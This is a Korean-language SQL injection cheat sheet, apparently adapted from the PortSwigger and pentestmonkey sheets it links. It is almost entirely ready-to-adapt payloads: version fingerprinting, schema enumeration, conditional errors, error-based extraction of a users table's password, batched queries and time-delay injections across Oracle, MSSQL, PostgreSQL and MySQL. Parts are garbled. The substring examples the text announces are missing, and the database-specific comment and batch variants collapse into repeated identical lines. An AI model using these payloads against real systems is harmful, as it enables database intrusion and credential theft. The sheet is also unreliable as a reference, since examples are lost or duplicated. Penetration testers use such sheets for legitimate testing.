지정된 길이의 지정된 오프셋에서 문자열의 일부를 추출할 수 있다. 오프셋 인덱스는 1을 기준으로 합니다. 다음 각 표현식은 문자열 ba를 반환한다.
주석을 사용하여 쿼리를 잘라내고 원래 쿼리에서 입력한 내용 뒤에 오는 부분을 제거할 수 있다.
/*comment*/
/*comment*/
/*comment*/
데이터베이스를 쿼리하여 유형과 버전을 확인할 수 있다.
이 정보는 더 복잡한 공격을 공식화할 때 유용하다.
SELECT banner FROM v$version
SELECT version FROM v$instance
SELECT @@version
SELECT version()
SELECT @@version
데이터베이스에 존재하는 테이블과 해당 테이블에 포함된 열을 나열할 수 있다.
SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
단일 boolean 조건을 테스트하고 조건이 참이면 데이터베이스 오류를 트리거할 수 있다.
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)
SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')
악성 쿼리가 반환한 민감한 데이터를 유출하는 오류 메시지를 유도할 수 있다.
SELECT 'foo' WHERE 1 = (SELECT 'secret')
SELECT CAST((SELECT password FROM users LIMIT 1) AS int)
SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))
batched 쿼리를 사용하여 여러 쿼리를 연속으로 실행할 수 있다. 후속 쿼리가 실행되는 동안에는 결과가 애플리케이션에 반환되지 않는다는 점에 유의해야 한다. 따라서 이 기술은 주로 두 번째 쿼리를 사용하여 DNS 조회, 조건부 오류 또는 시간 지연을 트리거할 수 있는 블라인드 인젝션에서 사용할 수 있다.
QUERY-1-HERE; QUERY-2-HERE
QUERY-1-HERE QUERY-2-HERE
QUERY-1-HERE; QUERY-2-HERE
QUERY-1-HERE; QUERY-2-HERE
- Note
MySQL에서는 일반적으로 일괄 처리 쿼리를 SQL 인젝션에 사용할 수 없다. 그러나 대상 애플리케이션이 특정 PHP 또는 Python API를 사용하여 MySQL 데이터베이스와 통신하는 경우 간혹 가능하다.
쿼리가 처리될 때 데이터베이스에 시간 지연이 발생할 수 있다.
다음은 무조건 10초의 시간 지연을 유발한다.
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')
https://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
https://portswigger.net/web-security/sql-injection/cheat-sheet